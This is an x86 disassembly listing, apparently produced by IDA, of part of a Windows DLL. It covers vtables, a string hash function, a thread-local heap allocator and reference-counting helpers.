off_69B17D00	dd offset off_69B17D10	; DATA XREF: sub_69B17CF0+9o
		align 8
		dd 9
		dd offset aException	; "Exception"
off_69B17D10	dd offset sub_69B6547B	; DATA XREF: .text:off_69B150B0o
					; .text:off_69B17AD0o ...
		dd offset sub_69B1EC38
		dd offset sub_69B1EC38
		align 10h
		dd offset sub_69B1B57D
		dd 2 dup(0)
		dd offset sub_69B18884
		dd offset sub_69B17D5C
		dd offset sub_69B11DBD
		dd 0
		dd offset sub_69B1B57D
		dd offset nullsub_5
		align 8
aException:				; DATA XREF: .text:69B17D0Co
		unicode	0, <Exception>,0

; =============== S U B	R O U T	I N E =======================================



sub_69B17D5C	proc near		; DATA XREF: .text:69B12230o
					; .text:69B17D30o ...
		push	dword ptr [ecx+8]
		push	dword ptr [ecx+0Ch]
		call	sub_69B17D68
		retn
sub_69B17D5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B17D68	proc near		; CODE XREF: sub_69B17D5C+6p
					; sub_69B1941C+27p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		test	edx, edx
		jle	short locret_69B17D85
		mov	ecx, [esp+arg_0]
		push	esi


loc_69B17D77:				; CODE XREF: sub_69B17D68+1Aj
		movzx	esi, word ptr [ecx]
		imul	eax, 71h
		add	eax, esi
		inc	ecx
		inc	ecx
		dec	edx
		jnz	short loc_69B17D77
		pop	esi

locret_69B17D85:			; CODE XREF: sub_69B17D68+8j
		retn	8
sub_69B17D68	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B17D88	proc near		; DATA XREF: .text:69B1812Co

; FUNCTION CHUNK AT 69B23F9F SIZE 0000000B BYTES

		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [edi+10h]
		cmp	dword ptr [esi], 0
		jz	short loc_69B17DC3
		push	dwTlsIndex
		call	dword_69B92970
		test	byte ptr [edi+18h], 1
		jnz	loc_69B23F9F
		mov	ecx, dword_69B95A20


loc_69B17DB0:				; CODE XREF: sub_69B17D88+C21Dj
		test	ecx, ecx
		jz	short loc_69B17DBB
		push	dword ptr [esi]
		call	sub_69B17DC6


loc_69B17DBB:				; CODE XREF: sub_69B17D88+2Aj
		push	0
		push	esi
		call	sub_69B17320


loc_69B17DC3:				; CODE XREF: sub_69B17D88+Aj
		pop	edi
		pop	esi
		retn
sub_69B17D88	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B17DC6	proc near		; CODE XREF: sub_69B11FFF+2Ep
					; sub_69B17D88+2Ep ...

; FUNCTION CHUNK AT 69B1203D SIZE 0000002D BYTES
; FUNCTION CHUNK AT 69B189BE SIZE 00000064 BYTES

		push	54h
		push	offset dword_69B17E88
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		push	dword ptr [esi+24h]
		lea	ecx, [ebp-20h]
		call	sub_69B18E23
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-24h]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		mov	edi, [ebp+8]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+20h]
		push	eax
		push	edi
		mov	ecx, esi
		call	sub_69B1879A
		xor	edi, edi
		inc	edi
		cmp	eax, edi
		jnz	loc_69B12061
		mov	ecx, [ebp-2Ch]
		mov	ebx, [ecx+0Ch]
		mov	[ebp-30h], ebx
		mov	eax, [ecx+4]
		mov	[ebp-34h], eax
		push	esi
		call	sub_69B17EA0
		dec	dword ptr [esi+0Ch]
		mov	eax, [ebp-24h]
		cmp	eax, 0FFFFFFFFh
		jnz	loc_69B1203D


loc_69B17E34:				; CODE XREF: sub_69B17DC6-5D73j
		mov	eax, [ebp-28h]
		cmp	[esi+1Ch], eax
		jle	loc_69B12058


loc_69B17E40:				; CODE XREF: sub_69B17DC6-5D6Aj
		lea	ecx, [ebp-50h]
		call	sub_69B1206A
		and	dword ptr [ebp-4Ch], 0
		mov	[ebp-4], edi


loc_69B17E4F:				; CODE XREF: sub_69B17DC6+C57j
		cmp	ebx, 0FFFFFFFFh
		jnz	loc_69B189C4


loc_69B17E58:				; CODE XREF: sub_69B24072+14j
		and	dword ptr [ebp-4], 0
		push	esi
		lea	ecx, [ebp-50h]
		call	sub_69B17EA0
		lea	ecx, [ebp-50h]
		call	sub_69B12070


loc_69B17E6D:				; CODE XREF: sub_69B17DC6-5D61j
					; .text:69B240A4j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-20h]
		call	sub_69B1900C
		mov	eax, [ebp-34h]
		call	sub_69B1853C
		retn	4
sub_69B17DC6	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B17E88	dd 0FFFFFFFFh			dd offset loc_69B2408B
		dd offset loc_69B24094
		align 8
		dd offset sub_69B24069
		dd offset sub_69B24072

; =============== S U B	R O U T	I N E =======================================



sub_69B17EA0	proc near		; CODE XREF: sub_69B17DC6+5Ap
					; sub_69B17DC6+9Ap ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	0
		push	esi
		call	sub_69B17320
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_69B17EBE
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_69B17EA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B17EBE	proc near		; CODE XREF: sub_69B17EA0+11p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B23FAA SIZE 0000000E BYTES

		mov	eax, [esp+arg_0]
		cmp	byte ptr [eax+8], 0
		jnz	loc_69B23FAA
		and	dword ptr [ecx+4], 0

locret_69B17ED0:			; CODE XREF: sub_69B17EBE+C0F5j
		retn	4
sub_69B17EBE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B17ED3	proc near		; CODE XREF: sub_69B190D7+6p
					; sub_69B2F2CA+25p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		lea	eax, [esi+edi*2+2]
		push	eax
		call	sub_69B17EF3
		mov	[eax+8], edi
		lea	ecx, [eax+esi]
		pop	edi
		mov	[eax+0Ch], ecx
		pop	esi
		retn
sub_69B17ED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B17EF3	proc near		; CODE XREF: sub_69B11CFE+Fp
					; sub_69B11DC2+Dp ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	[esp+8+arg_0]
		mov	ebx, 2000000Ch
		call	sub_69B17F2C
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B17F25
		push	dwTlsIndex
		call	dword_69B92970
		mov	eax, [eax+2Ch]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFFFBh
		add	eax, 4
		mov	[esi+4], eax


loc_69B17F25:				; CODE XREF: sub_69B17EF3+14j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B17EF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B17F2C	proc near		; CODE XREF: sub_69B11E44+7p
					; sub_69B17EF3+Bp ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B22B90 SIZE 00000042 BYTES

		mov	eax, dword_69B92978
		test	eax, eax
		push	esi
		jnz	loc_69B22B90


loc_69B17F3A:				; CODE XREF: sub_69B17F2C+AC6Aj
		push	[esp+4+arg_0]
		push	ebx
		push	dword_69B949F8
		call	sub_69B17F72


loc_69B17F4A:				; CODE XREF: sub_69B17F2C+AC7Aj
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B17F68
		test	bl, 8
		jz	short loc_69B17F62
		cmp	dword_69B92978,	0
		jnz	loc_69B22BAB


loc_69B17F62:				; CODE XREF: sub_69B17F2C+27j
					; sub_69B17F2C+3Fj ...
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B17F68:				; CODE XREF: sub_69B17F2C+22j
		test	bl, 4
		jz	short loc_69B17F62
		jmp	loc_69B22BC8
sub_69B17F2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B17F72	proc near		; CODE XREF: sub_69B17F2C+19p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 69B11C4B SIZE 0000002A BYTES
; FUNCTION CHUNK AT 69B1B2DB SIZE 00000077 BYTES
; FUNCTION CHUNK AT 69B237B1 SIZE 000000A6 BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+4]
		or	[ebp+arg_4], eax
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		add	edi, 7
		and	edi, 0FFFFFFF8h
		add	edi, 8
		cmp	edi, 3F9h
		jnb	loc_69B11C4B
		mov	eax, edi
		shr	eax, 3
		mov	[ebp+var_4], eax


loc_69B17FA4:				; CODE XREF: sub_69B17F72-6320j
		push	dwTlsIndex
		call	dword_69B92970
		xor	edx, edx
		cmp	eax, edx
		mov	[ebp+var_8], eax
		jz	loc_69B11C57
		mov	ecx, [eax+4Ch]
		mov	[ebp+arg_0], ecx
		mov	[ebp+var_C], ecx


loc_69B17FC6:				; CODE XREF: sub_69B17F72-6313j
		cmp	ecx, [ebx]
		jnb	loc_69B237B1


loc_69B17FCE:				; CODE XREF: sub_69B17F72+B847j
		imul	ecx, 2270h
		lea	esi, [ecx+ebx+10h]


loc_69B17FD8:				; CODE XREF: sub_69B17F72+B880j
		mov	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFh
		jz	short loc_69B17FF1
		lea	eax, [esi+eax*4+2070h]
		cmp	[eax], edx
		jnz	loc_69B237BE


loc_69B17FF1:				; CODE XREF: sub_69B17F72+6Ej
					; sub_69B17F72+B85Aj
		lea	ecx, [esi+2034h]
		call	sub_69B1808E
		test	al, al
		jz	loc_69B237D1


loc_69B18004:				; CODE XREF: sub_69B17F72+B8C9j
		inc	dword ptr [esi+205Ch]
		xor	ebx, ebx
		cmp	[esi+2030h], ebx
		jnz	loc_69B23840


loc_69B18018:				; CODE XREF: sub_69B17F72+B8D4j
		test	byte ptr [ebp+arg_4+3],	20h
		jz	loc_69B1B2DB
		mov	eax, [ebp+arg_8]
		add	eax, 0Fh
		and	eax, 0FFFFFFF0h
		cmp	eax, 210h
		jnb	loc_69B1B2DB
		shr	eax, 4
		push	eax
		lea	eax, [esi+4]
		push	eax
		call	sub_69B184B1
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_69B1B2DB
		lea	ecx, [esi+2034h]
		call	sub_69B18381
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_69B18077
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+var_C]
		mov	edx, ecx
		shr	ecx, 2
		xor	eax, eax
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_69B18077:				; CODE XREF: sub_69B17F72+EDj
		mov	eax, [ebp+var_8]
		cmp	eax, ebx
		jz	short loc_69B18084
		mov	ecx, [ebp+arg_0]
		mov	[eax+4Ch], ecx


loc_69B18084:				; CODE XREF: sub_69B17F72+10Aj
		mov	eax, [ebp+var_C]


loc_69B18087:				; CODE XREF: sub_69B17F72-6302j
					; sub_69B17F72+33C3j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B17F72	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1808E	proc near		; CODE XREF: sub_69B17F72+85p
					; sub_69B182B8+6Ap ...

; FUNCTION CHUNK AT 69B2343C SIZE 00000020 BYTES

		push	ebx
		mov	ebx, ds:InterlockedIncrement
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	ebp, [esi+10h]
		push	ebp		; lpAddend
		call	ebx ; InterlockedIncrement
		lea	edi, [esi+14h]
		push	edi		; lpAddend
		call	ebx ; InterlockedIncrement
		xor	eax, eax
		inc	eax
		cmp	[edi], eax
		jnz	loc_69B2343C


loc_69B180B1:				; CODE XREF: sub_69B1808E+B3C9j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_69B1808E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B180B6	proc near		; CODE XREF: sub_69B19621+CBp
					; sub_69B19621+A8D2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_69B17275
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		mov	ecx, esi
		call	sub_69B18130
		push	[esp+4+arg_0]
		lea	eax, [esi+10h]
		mov	dword ptr [esi], offset	off_69B180F4
		and	dword ptr [eax], 0
		push	eax
		call	sub_69B17320
		mov	eax, [esp+4+arg_4]
		mov	[esi+14h], eax
		mov	eax, esi
		pop	esi
		retn	8
sub_69B180B6	endp

; ---------------------------------------------------------------------------
		align 4
off_69B180F4	dd offset sub_69B2D67E	; DATA XREF: sub_69B180B6+21o
		dd offset sub_69B18947
		dd offset sub_69B17248
		dd offset sub_69B186D4
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B2FA1F
		dd offset sub_69B2FAB8
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B480D7
		dd offset nullsub_5
		dd offset nullsub_5
		dd offset sub_69B17D88

; =============== S U B	R O U T	I N E =======================================



sub_69B18130	proc near		; CODE XREF: sub_69B17285+17p
					; sub_69B180B6+15p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B1814A
		mov	eax, dword_69B929A8
		mov	[esi+0Ch], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_69B18130	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1814A	proc near		; CODE XREF: sub_69B18130+7p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B18169
		mov	dword ptr [esi], offset	off_69B18670
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	esi
		retn	4
sub_69B1814A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18169	proc near		; CODE XREF: sub_69B1814A+7p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B23320 SIZE 0000001B BYTES

		push	esi
		mov	esi, ecx
		call	sub_69B1818F
		cmp	[esp+4+arg_0], 0
		mov	dword ptr [esi], offset	off_69B12188
		jnz	loc_69B23320
		mov	dword ptr [esi+4], 1


loc_69B18189:				; CODE XREF: sub_69B18169+B1CDj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B18169	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1818F	proc near		; CODE XREF: sub_69B62A37-4D669p
					; sub_69B16098+14p ...

; FUNCTION CHUNK AT 69B11C91 SIZE 0000000B BYTES

		push	esi
		mov	esi, ecx
		push	esi
		call	sub_69B181A4
		test	al, al
		jz	loc_69B11C91


loc_69B181A0:				; CODE XREF: sub_69B1818F-64F8j
		mov	eax, esi
		pop	esi
		retn
sub_69B1818F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B181A4	proc near		; CODE XREF: sub_69B1818F+4p
					; sub_69B18700+4p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		shr	eax, 10h
		xor	edx, edx
		mov	ecx, eax
		inc	edx
		and	ecx, 7
		shl	edx, cl
		shr	eax, 3
		mov	al, byte ptr dword_69B929F8[eax]
		and	dl, al
		neg	dl
		sbb	edx, edx
		neg	edx
		mov	al, dl
		retn	4
sub_69B181A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B181CB	proc near		; CODE XREF: sub_69B3156E+Ep
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B19118
		lea	edi, [esi+8]
		mov	ecx, edi
		call	sub_69B1818F
		mov	dword ptr [edi], offset	off_69B181F8
		mov	dword ptr [esi], offset	off_69B18240
		and	dword ptr [esi+0Ch], 0
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_69B181CB	endp

; ---------------------------------------------------------------------------
		align 8
off_69B181F8	dd offset sub_69B65C47	; DATA XREF: sub_69B181CB+13o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B7624E
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B6860C
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B62A4E
		dd offset sub_69B31495
		dd offset sub_69B31501
		dd offset sub_69B31510
		dd offset sub_69B71456
off_69B18240	dd offset sub_69B6547B	; DATA XREF: sub_69B62A37-4D65Do
					; sub_69B76419-5FE2Ao ...
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset loc_69B763FE
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset loc_69B7629F

; =============== S U B	R O U T	I N E =======================================



sub_69B18278	proc near		; CODE XREF: .text:69B65C86j
					; sub_69B76F4B+3j
					; DATA XREF: ...
		test	ecx, ecx
		jz	short locret_69B18283
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax+0Ch]

locret_69B18283:			; CODE XREF: sub_69B18278+2j
		retn
sub_69B18278	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18284	proc near		; DATA XREF: .text:69B121DCo
					; .text:69B1221Co ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B186FA
		test	[esp+4+arg_0], 1
		jz	short loc_69B18299
		push	esi
		call	sub_69B1829F


loc_69B18299:				; CODE XREF: sub_69B18284+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B18284	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1829F	proc near		; CODE XREF: sub_69B18284+10p
					; sub_69B186D4+1Bp ...

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 0
		jz	short locret_69B182B5
		push	[esp+arg_0]
		push	dword_69B949F8
		call	sub_69B182B8

locret_69B182B5:			; CODE XREF: sub_69B1829F+5j
		retn	4
sub_69B1829F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B182B8	proc near		; CODE XREF: sub_69B1829F+11p
					; sub_69B1B2B7+1Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 69B1BBE4 SIZE 00000096 BYTES
; FUNCTION CHUNK AT 69B236EF SIZE 00000036 BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		push	dwTlsIndex
		call	dword_69B92970
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		and	eax, 0FFFFF000h
		mov	edi, [eax]
		and	edi, 0FFFFFFFEh
		lea	esi, [edi-4]
		mov	eax, esi
		sub	eax, [ebp+arg_0]
		mov	ecx, 2270h
		sub	eax, 10h
		cdq
		mov	ebx, ecx
		idiv	ebx
		mov	edx, [ebp+arg_0]
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_69B1BBE4
		cmp	ebx, [edx]
		jge	loc_69B1BBE4
		imul	eax, 2270h
		lea	eax, [eax+edx+14h]
		cmp	edi, eax
		jnz	loc_69B1BBE4
		lea	ecx, [esi+2034h]
		mov	[ebp+arg_0], ecx
		call	sub_69B1808E
		test	al, al
		jz	loc_69B236F7
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	sub_69B11E93
		add	esp, 10h
		test	eax, eax
		jz	loc_69B236EF
		mov	ecx, [ebp+var_4]
		inc	dword ptr [esi+2060h]
		test	ecx, ecx
		jz	short loc_69B1835B
		mov	[ecx+4Ch], ebx


loc_69B1835B:				; CODE XREF: sub_69B182B8+9Ej
		push	eax
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	edi
		call	sub_69B1872D
		mov	ebx, [ebp+arg_0]
		xor	esi, esi
		add	esp, 10h
		inc	esi


loc_69B18371:				; CODE XREF: sub_69B182B8+39A8j
		mov	ecx, ebx
		call	sub_69B18381
		mov	eax, esi


loc_69B1837A:				; CODE XREF: sub_69B182B8+39B6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B182B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B18381	proc near		; CODE XREF: sub_69B11D73j
					; sub_69B17F72+E4p ...

; FUNCTION CHUNK AT 69B23417 SIZE 00000008 BYTES

		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ds:InterlockedDecrement
		lea	eax, [esi+14h]
		push	eax		; lpAddend
		call	edi ; InterlockedDecrement
		lea	eax, [esi+10h]
		push	eax		; lpAddend
		call	edi ; InterlockedDecrement
		cmp	dword ptr [esi+24h], 0
		pop	edi
		jg	loc_69B23417
		pop	esi
		retn
sub_69B18381	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B17320


loc_69B183A4:				; CODE XREF: sub_69B17320+15j
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+8]
		jmp	loc_69B1733B
; END OF FUNCTION CHUNK	FOR sub_69B17320

; =============== S U B	R O U T	I N E =======================================



sub_69B183AF	proc near		; CODE XREF: sub_69B65C5B+5j
					; .text:69B65C7Ej ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		call	sub_69B183BB
		retn	4
sub_69B183AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B183BB	proc near		; CODE XREF: sub_69B17254+7j
					; sub_69B183AF+4p ...

; FUNCTION CHUNK AT 69B2335B SIZE 00000075 BYTES

		push	ebx
		push	ebp
		push	edi
		mov	edi, ecx
		lea	ebp, [edi+4]
		mov	ebx, [ebp+0]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_69B183D4
		test	bl, 4
		jnz	loc_69B2335B


loc_69B183D4:				; CODE XREF: sub_69B183BB+Ej
		push	ebp		; Target
		call	sub_69B18980
		push	eax
		mov	ecx, edi
		call	sub_69B183E6


loc_69B183E2:				; CODE XREF: sub_69B183BB+B008j
					; sub_69B183BB+B010j
		pop	edi
		pop	ebp
		pop	ebx
		retn
sub_69B183BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B183E6	proc near		; CODE XREF: sub_69B183BB+22p
					; sub_69B480E4:loc_69B4812Fp ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B2333B SIZE 00000020 BYTES

		push	ebx
		mov	ebx, [esp+4+arg_0]
		sub	ebx, 8
		push	esi
		mov	eax, ebx
		shr	eax, 3
		push	edi
		mov	esi, ecx
		jz	short loc_69B1840F
		mov	[esi+4], ebx


loc_69B183FC:				; CODE XREF: sub_69B183E6+71j
		pop	edi
		pop	esi
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_69B18402:				; CODE XREF: sub_69B183E6+3Dj
					; sub_69B183E6+49j ...
		push	edi
		mov	ecx, esi
		call	sub_69B2D6F7
		jmp	loc_69B2333B
; ---------------------------------------------------------------------------


loc_69B1840F:				; CODE XREF: sub_69B183E6+11j
		push	dwTlsIndex
		call	dword_69B92970
		mov	edi, eax
		cmp	dword_69B9299C,	edi
		jnz	short loc_69B18402
		push	ebx
		mov	ecx, esi
		call	sub_69B18459
		test	eax, eax
		jnz	short loc_69B18402
		mov	eax, [edi+48h]
		cmp	eax, 200h
		jnb	short loc_69B18402
		inc	eax
		mov	[edi+48h], eax
		mov	eax, [esi]
		call	dword ptr [eax+34h]
		dec	dword ptr [edi+48h]
		mov	eax, [esi]
		mov	ecx, esi
		mov	dword ptr [esi+4], 3
		call	dword ptr [eax+18h]


loc_69B18455:				; CODE XREF: sub_69B183E6+AF63j
					; sub_69B183E6+AF70j
		xor	eax, eax
		jmp	short loc_69B183FC
sub_69B183E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B18459	proc near		; CODE XREF: sub_69B183E6+42p
					; sub_69B17135+1DE7p ...

arg_0		= byte ptr  4

; FUNCTION CHUNK AT 69B22E56 SIZE 00000010 BYTES

		cmp	byte_69B929A4, 0
		jz	short loc_69B18467


loc_69B18462:				; CODE XREF: sub_69B18459+2Bj
		xor	eax, eax

locret_69B18464:			; CODE XREF: sub_69B18459+30j
		retn	4
; ---------------------------------------------------------------------------


loc_69B18467:				; CODE XREF: sub_69B18459+7j
		test	[esp+arg_0], 2
		jnz	short loc_69B18486
		mov	eax, dword_69B929C4
		mov	edx, dword_69B92984
		add	eax, 0FFFFFFFCh


loc_69B1847C:				; CODE XREF: sub_69B18459+AA08j
		cmp	eax, edx
		jnb	loc_69B22E56
		jmp	short loc_69B18462
; ---------------------------------------------------------------------------


loc_69B18486:				; CODE XREF: sub_69B18459+13j
					; sub_69B18459+A9FFj
		xor	eax, eax
		inc	eax
		jmp	short locret_69B18464
sub_69B18459	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B184B1


loc_69B1848B:				; CODE XREF: sub_69B184B1+4Bj
					; sub_69B184B1+50j ...
		add	edi, 8
		add	eax, 1000h
		mov	[ebp-1Ch], eax
		lea	ecx, [esi+2018h]
		cmp	edi, ecx
		jb	short loc_69B184F5
		jmp	loc_69B23AF0
; ---------------------------------------------------------------------------


loc_69B184A5:				; CODE XREF: sub_69B184B1+1811j
		mov	eax, [ebp-24h]
		jmp	loc_69B19CAE
; ---------------------------------------------------------------------------


loc_69B184AD:				; CODE XREF: sub_69B184B1+1822j
					; sub_69B184B1+B6F2j ...
		xor	eax, eax
		jmp	short loc_69B18524
; END OF FUNCTION CHUNK	FOR sub_69B184B1

; =============== S U B	R O U T	I N E =======================================



sub_69B184B1	proc near		; CODE XREF: sub_69B17F72+CCp

; FUNCTION CHUNK AT 69B1848B SIZE 00000026 BYTES
; FUNCTION CHUNK AT 69B19C97 SIZE 00000073 BYTES
; FUNCTION CHUNK AT 69B23AE2 SIZE 00000133 BYTES
; FUNCTION CHUNK AT 69B23C62 SIZE 0000004C BYTES

		push	24h
		push	offset dword_69B18530
		call	sub_69B19C5C
		mov	eax, [ebp+8]
		mov	esi, [eax+2020h]


loc_69B184C6:				; CODE XREF: sub_69B184B1+17F4j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_69B19C97
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		mov	[ebp-1Ch], eax
		cmp	edi, ecx
		jnb	loc_69B23AED


loc_69B184F5:				; CODE XREF: sub_69B184B1-13j
		mov	ecx, [edi]
		mov	ebx, [ebp+0Ch]
		cmp	ecx, ebx
		jl	short loc_69B1848B
		cmp	[edi+4], ebx
		jbe	short loc_69B1848B
		push	ebx
		push	ecx
		push	eax
		call	sub_69B1BC7A
		add	esp, 0Ch
		test	eax, eax
		jz	loc_69B23AE2


loc_69B18516:				; CODE XREF: sub_69B184B1+B670j
		mov	ecx, [ebp+8]
		mov	[ecx+2020h], esi
		sub	[edi], ebx
		mov	[esi+8], edi


loc_69B18524:				; CODE XREF: sub_69B184B1-2j
					; sub_69B184B1+1854j ...
		call	sub_69B1853C
		retn
sub_69B184B1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B18530	dd 0FFFFFFFFh			dd offset sub_69B23C15
		dd offset sub_69B23C1E

; =============== S U B	R O U T	I N E =======================================



sub_69B1853C	proc near		; CODE XREF: sub_69B1992C:loc_69B11DF8p
					; sub_69B17135-513Ep ...
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		push	ecx
		retn
sub_69B1853C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B6F741


loc_69B1854D:				; CODE XREF: sub_69B6F741+10j
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B18654
		xor	edi, edi
		mov	dword ptr [esi], offset	off_69B1861C
		mov	dword ptr [esi+0Ch], offset off_69B18600
		mov	dword ptr [esi+10h], offset off_69B185E8
		mov	dword ptr [esi+14h], offset off_69B185E0
		mov	[esi+24h], edi
		mov	[esi+2Ch], edi
		mov	[esi+34h], edi
		mov	[esi+38h], edi
		mov	[esi+3Ch], edi
		mov	[esi+44h], edi
		mov	[esi+48h], edi
		mov	[esi+50h], edi
		mov	[esi+5Ch], edi
		mov	[esi+60h], edi
		mov	[esi+64h], edi
		mov	[esi+68h], edi
		lea	eax, [esi+70h]
		mov	dword ptr [eax], offset	off_69B2A4C8
		mov	[eax+10h], edi
		mov	[eax+18h], edi
		lea	eax, [esi+8Ch]
		mov	[eax], edi
		mov	[eax+4], edi
		mov	[eax+8], edi
		mov	[eax+0Ch], edi
		mov	[eax+10h], edi
		push	edi
		mov	[esi+0A0h], edi
		push	edi
		lea	ecx, [esi+0ACh]
		mov	[esi+0A4h], edi
		call	sub_69B5EBCF
		mov	[esi+0B8h], edi
		pop	edi
		mov	eax, esi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_69B6F741
; ---------------------------------------------------------------------------
		align 10h
